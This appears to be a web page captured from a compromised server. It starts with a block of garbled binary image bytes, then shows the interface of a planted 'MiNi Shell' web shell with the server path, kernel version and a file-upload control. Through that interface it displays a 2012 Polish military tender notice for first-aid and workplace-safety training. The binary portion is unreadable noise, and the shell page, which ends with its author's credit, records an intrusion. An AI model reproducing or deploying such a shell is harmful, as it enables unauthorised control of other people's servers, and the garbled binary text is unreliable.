JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120525/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120525/173010-N-2012.html

<p class="kh_header"><b>Rzeszów: Przeprowadzenie szkolenia z zakresu pierwszej pomocy i szkolenia BHP</b><br>
<b>Numer ogłoszenia: 173010 - 2012; data zamieszczenia: 25.05.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Jednostka Wojskowa 4784 , ul. Krakowska 11B, 35-111 Rzeszów, woj. podkarpackie, tel. 17 715 56 59, faks 17 715 63 85.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: MON-Jednostka Wojskowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Przeprowadzenie szkolenia z zakresu pierwszej pomocy i szkolenia BHP.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest: przeprowadzenie szkolenia z zakresu udzielania pierwszej pomocy oraz szkolenia BHP z podziałem na cztery części. CPV 80500000-9 Usługi szkoleniowe 
CZĘŚĆ Nr I - szkolenie w zakresie pierwszej pomocy dla żołnierzy i pracowników wojska - do przeszkolenia 77 osób.Maksymalna ilość grupy 10-12 osób. Zamawiający nie określa minimalnej ilości osób w grupie. 
CZĘŚĆ NR II - szkolenie bhp dla żołnierzy i pracowników z Jednostek Wojskowych zlokalizowanych w m. Rzeszów, Jasło i Sanok. Do przeszkolenia: Kadra kierownicza - 176 osób, pracownicy administracyjni - 80 osób, robotnicy i obsługa - 413 osób. CZĘŚĆ NR III - szkolenie bhp dla żołnierzy i pracowników z Jednostek Wojskowych zlokalizowanych w m. Nisko i Stalowa Wola. Do przeszkolenia: Kadra kierownicza - 44 osoby, pracownicy administracyjni - 1 osoba, robotnicy i obsługa - 25 osoby, inżynieryjno - techniczne - 2 osoby. 
CZĘŚĆ NR IV - szkolenie bhp dla żołnierzy i pracowników z Jednostek Wojskowych zlokalizowanych w m. Przemyśl i Jarosław. Do przeszkolenia Kadra kierownicza - 110 osób, pracownicy administracyjni - 8 osób, robotnicy i obsługa - 249 osób. CZĘŚĆ Nr I - SZKOLENIE W ZAKRESIE PIERWSZEJ POMOCY DLA ŻOŁNIERZY I PRACOWNIKÓW WOJSKA. Celem szkolenia jest umiejętność udzielania pierwszej pomocy w stanach zagrożenia zdrowia i życia. Po ukończeniu kursu, każdy uczestnik będzie znał, rozumiał i umiał: - wykonać ocenę nieprzytomnego poszkodowanego, - wykonywać uciskanie klatki piersiowej i oddechy ratownicze, - ułożyć nieprzytomnego poszkodowanego w pozycji bezpiecznej, - postępować w przypadku złamań i skręceń, - postępować w przypadku krwawień i krwotoków, - postępować w przypadku oparzeń i odmrożeń. Po ukończeniu kursu (zaliczeniu egzaminu teoretycznego i praktycznego) uczestnik otrzymuje certyfikat Polskiego Towarzystwa Medycyny Ratunkowej ważny przez pięć lat. SZKOLENIE - PIERWSZA POMOC - Certyfikowane przez Polskie Towarzystwo Medycyny Ratunkowej dla całego stanu osobowego, - Każdy uczestnik otrzymuje w ramach szkolenia podręcznik pierwszej pomocy - Pierwsza pomoc w stanach zagrożenia życia. Miejsce i termin szkolenia zostanie ustalony z przedstawicielami każdej Jednostki Wojskowej z co najmniej dwu tygodniowym wyprzedzeniem. Miejsce oraz termin szkolenia zostanie ustalony z przedstawicielami każdej Jednostki Wojskowej co najmniej z dwutygodniowym wyprzedzeniem. 
SZKOLENIE BHP CZĘŚĆ Nr II, CZĘŚĆ Nr III i CZĘŚĆ Nr IV 
1.Celem szkolenia jest aktualizacja i uzupełnienie wiedzy i umiejętności w szczególności z zakresu: 
a) oceny zagrożeń występujących w procesach pracy i służby oraz ryzyka związanego z tymi zagrożeniami w jednostkach i instytucjach wojskowych, 
b) kształtowania bezpiecznych i higienicznych warunków pracy i służby, 
c) ochrony pracowników przed zagrożeniami związanymi z pracą. 
2. Uczestnicy szkolenia: Szkolenie jest przeznaczone dla żołnierzy, pracowników i osób kierujących pracownikami: - osób kierujących zakładem, - szefów sekcji, służb; - kierowników zespołów, sekcji, grup; - d-cy drużyn, załóg, działonów, plutonów, kompanii, baterii, batalionów i ich zastępców; - kierowników magazynów; - osób zatrudnionych na stanowiskach robotniczych oraz żołnierzy zawodowych/korpus szeregowych zawodowych/ których charakter pracy wiąże się z narażeniem na czynniki szkodliwe dla zdrowia, uciążliwe lub niebezpieczne, 
3. Forma organizacji szkolenia. Szkolenie jest zrealizowane w formie wykładu połączonego z seminarium oraz prezentacją multimedialną zgodnie z niniejszym programem. 
- Czas trwania szkolenie: 16 godzin dla osób kierujących w tym: 14 godzin wykład i 2 godziny seminarium 
- Czas trwania szkolenia: 8 godzin dla pracowników administracji biurowej: 7 godzin wykład + prezentacja multimedialna i 1 godzina seminarium, 
- Czas trwania szkolenia stanowiska robotnicze: 8 godzin wykład + prezentacja multimedialna dla pracowników na stanowiskach robotniczych -Liczba uczestników w jednej grupie szkoleniowej - według koncepcji wykładowcy, nie więcej jednak niż 60 osób.
-Zamawiający dopuszcza w przypadku stanowisk kierowniczych oraz administracyjno-biurowych możliwość łączenia osób z tych samych stanowisk pracujących w tym samym mieście ale w innych jednostkach w jednej grupie szkoleniowej. Natomiast na stanowiskach robotniczych po uzgodnieniu z przedstawicielami jednostek.
 -miejsce szkolenia dla Część II - Rzeszów; dla Część III - Nisko ; dla Część IV - Przemyśl i Jarosław, - termin szkolenia zostanie ustalony z przedstawicielami każdej Jednostki Wojskowej co najmniej z dwutygodniowym wyprzedzeniem...</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 4.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 28.12.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>

<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.przetargi.army.mil.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Jednostka Wojskowa 4784 ul. Krakowska 11B; 35-111 Rzeszów, kancelaria nr 8.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 31.05.2012 godzina 10:00, miejsce: Jednostka Wojskowa 4784 ul. Krakowska 11B; 35-111 Rzeszów, Kancelaria Jawna pokój nr 1.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Szkolenie w zakresie pierwszej pomocy dla żołnierzy  i pracowników wojska..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Szkolenie w zakresie pierwszej pomocy dla żołnierzy i pracowników wojska - do przeszkolenia 77 osób. Maksymalna ilość grupy 10-12 osób. Zamawiający nie określa minimalnej ilości osób w grupie.
Celem szkolenia jest umiejętność udzielania pierwszej pomocy w stanach zagrożenia zdrowia i życia. Po ukończeniu kursu, każdy uczestnik będzie znał, rozumiał i umiał: - wykonać ocenę nieprzytomnego poszkodowanego, - wykonywać uciskanie klatki piersiowej i oddechy ratownicze, - ułożyć nieprzytomnego poszkodowanego w pozycji bezpiecznej, - postępować w przypadku złamań i skręceń, - postępować w przypadku krwawień i krwotoków, - postępować w przypadku oparzeń i odmrożeń. Po ukończeniu kursu (zaliczeniu egzaminu teoretycznego i praktycznego) uczestnik otrzymuje certyfikat Polskiego Towarzystwa Medycyny Ratunkowej ważny przez pięć lat. SZKOLENIE - PIERWSZA POMOC - Certyfikowane przez Polskie Towarzystwo Medycyny Ratunkowej dla całego stanu osobowego, - Każdy uczestnik otrzymuje w ramach szkolenia podręcznik pierwszej pomocy - Pierwsza pomoc w stanach zagrożenia życia.
Miejsce i termin szkolenia zostanie ustalony z przedstawicielami każdej Jednostki Wojskowej z co najmniej dwu tygodniowym wyprzedzeniem. Miejsce oraz termin szkolenia zostanie ustalony z przedstawicielami każdej Jednostki Wojskowej co najmniej z dwutygodniowym wyprzedzeniem.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 28.12.2012.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Szkolenie bhp dla żołnierzy i  pracowników  z Jednostek Wojskowych zlokalizowanych w m.Rzeszów, Jasło i Sanok.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Szkolenie bhp dla żołnierzy i pracowników z Jednostek Wojskowych zlokalizowanych w m. Rzeszów, Jasło i Sanok. Do przeszkolenia: Kadra kierownicza - 176 osób, pracownicy administracyjni - 80 osób, robotnicy i obsługa - 413 osób.
1.Celem szkolenia jest aktualizacja i uzupełnienie wiedzy i umiejętności w szczególności z zakresu: a) oceny zagrożeń występujących w procesach pracy i służby oraz ryzyka związanego z tymi zagrożeniami w jednostkach i instytucjach wojskowych, b) kształtowania bezpiecznych i higienicznych warunków pracy i służby, c) ochrony pracowników przed zagrożeniami związanymi z pracą. 2. Uczestnicy szkolenia: Szkolenie jest przeznaczone dla żołnierzy, pracowników i osób kierujących pracownikami: - osób kierujących zakładem, - szefów sekcji, służb; - kierowników zespołów, sekcji, grup; - d-cy drużyn, załóg, działonów, plutonów, kompanii, baterii, batalionów i ich zastępców; - kierowników magazynów; - osób zatrudnionych na stanowiskach robotniczych oraz żołnierzy zawodowych/korpus szeregowych zawodowych/ których charakter pracy wiąże się z narażeniem na czynniki szkodliwe dla zdrowia, uciążliwe lub niebezpieczne, 3. Forma organizacji szkolenia. Szkolenie jest zrealizowane w formie wykładu połączonego z seminarium oraz prezentacją multimedialną zgodnie z niniejszym programem. - Czas trwania szkolenie: 16 godzin dla osób kierujących w tym: 14 godzin wykład i 2 godziny seminarium - Czas trwania szkolenia: 8 godzin dla pracowników administracji biurowej: 7 godzin wykład + prezentacja multimedialna i 1 godzina seminarium, - Czas trwania szkolenia stanowiska robotnicze: 8 godzin wykład + prezentacja multimedialna dla pracowników na stanowiskach robotniczych.-Liczba uczestników w jednej grupie szkoleniowej - według koncepcji wykładowcy, nie więcej jednak niż 60 osób.
-Zamawiający dopuszcza w przypadku stanowisk kierowniczych oraz administracyjno-biurowych możliwość łączenia osób z tych samych stanowisk pracujących w tym samym mieście ale w innych jednostkach w jednej grupie szkoleniowej. Natomiast na stanowiskach robotniczych po uzgodnieniu z przedstawicielami jednostek
 miejsce szkolenia dla Część II - Rzeszów.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 28.12.2012.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Szkolenie bhp dla żołnierzy i  pracowników  z Jednostek Wojskowych zlokalizowanych w m. Nisko i Stalowa Wola.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Szkolenie bhp dla żołnierzy i pracowników z Jednostek Wojskowych zlokalizowanych w m. Nisko i Stalowa Wola. Do przeszkolenia: Kadra kierownicza - 44 osoby, pracownicy administracyjni - 1 osoba, robotnicy i obsługa - 25 osoby, inżynieryjno - techniczne - 2 osoby1.Celem szkolenia jest aktualizacja i uzupełnienie wiedzy i umiejętności w szczególności z zakresu: a) oceny zagrożeń występujących w procesach pracy i służby oraz ryzyka związanego z tymi zagrożeniami w jednostkach i instytucjach wojskowych, b) kształtowania bezpiecznych i higienicznych warunków pracy i służby, c) ochrony pracowników przed zagrożeniami związanymi z pracą. 2. Uczestnicy szkolenia: Szkolenie jest przeznaczone dla żołnierzy, pracowników i osób kierujących pracownikami: - osób kierujących zakładem, - szefów sekcji, służb; - kierowników zespołów, sekcji, grup; - d-cy drużyn, załóg, działonów, plutonów, kompanii, baterii, batalionów i ich zastępców; - kierowników magazynów; - osób zatrudnionych na stanowiskach robotniczych oraz żołnierzy zawodowych/korpus szeregowych zawodowych/ których charakter pracy wiąże się z narażeniem na czynniki szkodliwe dla zdrowia, uciążliwe lub niebezpieczne, 3. Forma organizacji szkolenia. Szkolenie jest zrealizowane w formie wykładu połączonego z seminarium oraz prezentacją multimedialną zgodnie z niniejszym programem. - Czas trwania szkolenie: 16 godzin dla osób kierujących w tym: 14 godzin wykład i 2 godziny seminarium - Czas trwania szkolenia: 8 godzin dla pracowników administracji biurowej: 7 godzin wykład + prezentacja multimedialna i 1 godzina seminarium, - Czas trwania szkolenia stanowiska robotnicze: 8 godzin wykład + prezentacja multimedialna dla pracowników na stanowiskach robotniczych.-Liczba uczestników w jednej grupie szkoleniowej - według koncepcji wykładowcy, nie więcej jednak niż 60 osób.
-Zamawiający dopuszcza w przypadku stanowisk kierowniczych oraz administracyjno-biurowych możliwość łączenia osób z tych samych stanowisk pracujących w tym samym mieście ale w innych jednostkach w jednej grupie szkoleniowej. Natomiast na stanowiskach robotniczych po uzgodnieniu z przedstawicielami jednostek
 miejsce szkolenia dla Część III-Nisko.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 28.12.2012.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> szkolenie bhp dla żołnierzy i  pracowników  z Jednostek Wojskowych zlokalizowanych w m. Przemyśl i Jarosław,.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Szkolenie bhp dla żołnierzy i pracowników z Jednostek Wojskowych zlokalizowanych w m. Przemyśl i Jarosław. Do przeszkolenia Kadra kierownicza - 110 osób, pracownicy administracyjni - 8 osób, robotnicy i obsługa - 249 osób.
osoby1.Celem szkolenia jest aktualizacja i uzupełnienie wiedzy i umiejętności w szczególności z zakresu: a) oceny zagrożeń występujących w procesach pracy i służby oraz ryzyka związanego z tymi zagrożeniami w jednostkach i instytucjach wojskowych, b) kształtowania bezpiecznych i higienicznych warunków pracy i służby, c) ochrony pracowników przed zagrożeniami związanymi z pracą. 2. Uczestnicy szkolenia: Szkolenie jest przeznaczone dla żołnierzy, pracowników i osób kierujących pracownikami: - osób kierujących zakładem, - szefów sekcji, służb; - kierowników zespołów, sekcji, grup; - d-cy drużyn, załóg, działonów, plutonów, kompanii, baterii, batalionów i ich zastępców; - kierowników magazynów; - osób zatrudnionych na stanowiskach robotniczych oraz żołnierzy zawodowych/korpus szeregowych zawodowych/ których charakter pracy wiąże się z narażeniem na czynniki szkodliwe dla zdrowia, uciążliwe lub niebezpieczne, 3. Forma organizacji szkolenia. Szkolenie jest zrealizowane w formie wykładu połączonego z seminarium oraz prezentacją multimedialną zgodnie z niniejszym programem. - Czas trwania szkolenie: 16 godzin dla osób kierujących w tym: 14 godzin wykład i 2 godziny seminarium - Czas trwania szkolenia: 8 godzin dla pracowników administracji biurowej: 7 godzin wykład + prezentacja multimedialna i 1 godzina seminarium, - Czas trwania szkolenia stanowiska robotnicze: 8 godzin wykład + prezentacja multimedialna dla pracowników na stanowiskach robotniczych.-Liczba uczestników w jednej grupie szkoleniowej - według koncepcji wykładowcy, nie więcej jednak niż 60 osób.
-Zamawiający dopuszcza w przypadku stanowisk kierowniczych oraz administracyjno-biurowych możliwość łączenia osób z tych samych stanowisk pracujących w tym samym mieście ale w innych jednostkach w jednej grupie szkoleniowej. Natomiast na stanowiskach robotniczych po uzgodnieniu z przedstawicielami jednostek, miejsce szkolenia dla Część IV-Przemyśl i Jarosław.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 28.12.2012.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com